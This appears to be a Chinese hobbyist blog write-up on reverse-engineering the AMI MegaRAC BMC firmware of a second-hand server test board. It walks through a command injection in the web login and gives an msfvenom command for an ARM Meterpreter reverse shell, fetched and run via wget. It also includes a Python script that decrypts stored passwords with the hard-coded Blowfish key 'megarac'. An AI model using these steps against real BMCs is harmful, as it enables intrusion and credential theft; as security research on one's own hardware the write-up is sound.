0x0 背景
前几天在某鱼捡了个便宜主板
查了下应该是广达的工包测试板,全新,完全没资料网上查不到
服务器主板一般会有一个管理芯片独立于整个主板,管理主板电源,温度,开关机,视频重定向。。。。然而ipmitool能连上获取信息,却没有web,ssh也是连上就断
于是找了一波文档,发现有个相似的型号的
通过ipmi raw command开启BMC Web
看起来成功了。。。扫一下端口发现开了443
于是打开浏览器去连接。。。发现连不上
这。。。报了个奇怪的错误
注意到lighttpd,这种嵌入式设备服务端api都是用C写的。。。lighttpd会把请求交给一个二进制库处理。。应该是跑炸了,在html前面生成了一个Parameter Error!
然后发现ssh也是连不上的,连上之后立马connection close
0x1 分析固件
查了一波资料,发现BMC芯片AST2400是个arm soc。。。板子上有自己独立的内存,SPI Flash。
艹,这不就是个大号路由器
但是对着板子看了一圈也没看见串口在哪里,一般路由器的套路是能插串口改bootargs进系统,dump整个固件 or 传个gdb server进去
于是搜了一波资料发现有个socflash的工具可以读取固件
socflash_64.exe -b dump.bin
即可dump下来BMC的整个SPI Flash存储器
binwalk走一波
标准的linux嵌入式设备。。u-boot, kernel rootfs一个都不缺
binwalk -e
提取即可
注意到第一个cramfs是个完整的linux文件系统,jffs2是一些配置文件,第二个cramfs是个web静态文件打包
0x2 发现web登录问题
既然提取了固件,直接暴力grep即可
再看下lighttpd配置文件,指向的正好是libmodhapi.so
那么api handler就在那个so中,拖进ida打开,找字符串
发现了这里有这个Parameter Error!
看下invalidUser交叉引用,找到了登录认证的部分
卧槽这也太蛇皮了。。。直接拼进system然后拿返回值,裸的命令注入
正好没shell没法调试,从这拿个shell再说
burp测一下
这边直接收到返回了
好,接下来需要弹一个shell
0x3 弹shell
把reverse shell cheat sheet测了一个遍。。都没法弹。
突然意识到。。。嵌入式设备用的busybox,没bash没nc啥都没有
那就只能传个二进制程序进去跑了
看了下kernel应该是arm小端序
用msf生成payload
msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=4445 -f elf > meterpreter.elf
wget下载,chmod +x,然后执行。注意+
要url编码不然会被当成空格
即可弹回meterpreter
0x4 后续
有了shell啥都好办了,ssh登不上是有个配置文件写错了指向不存在的文件。。。出厂bug,果然是工厂流出的测试板
0x5 不安全的密码策略
众所周知嵌入式设备特别喜欢硬编码密钥然后给密码对称加密一下。CISCO type 7 password就是这么搞的
然后发现这个
于是看一下哪里处理的EncryptedPswd,找了一圈发现在libipmi_helper.so.2.4.0
里
继续暴力grep,核心逻辑在libipmiamioempwdenc.so.2.1.0
这个库里面
lib ipmi ami oem pwd enc
名称看起来很合理
丢进ida看看
跟到了DecryptPassword
函数
继续找找到了libblowfish.so
解密逻辑就这么一点了,找了一圈没发现iv在哪,应该是ecb模式了
密码是SetEncryptKey从/conf/pwdEncKey
获取的
就是megarac,软件名
于是搓个脚本解密一下
import blowfish
import base64
data = [
b"jT+Yah6ySlTO9NOzIXxkogAAAAAAAAAA",
b"OY7fIRe9fsQkinACXfgmUQAAAAAAAAAA",
b"zvTTsyF8ZKLO9NOzIXxkogAAAAAAAAAA",
b"f23Dq/SFBErO9NOzIXxkogAAAAAAAAAA",
b"masB7IKqyJ1+7HMeU4vo9wAAAAAAAAAA"
]
def decrypt(cipherText):
cipher = blowfish.Cipher(b"megarac")
decrypted = b"".join(cipher.decrypt_ecb(base64.b64decode(cipherText)))
return decrypted
for i in data:
print(decrypt(i))
成功解密
emmm我服了,,写个哈希那么难吗???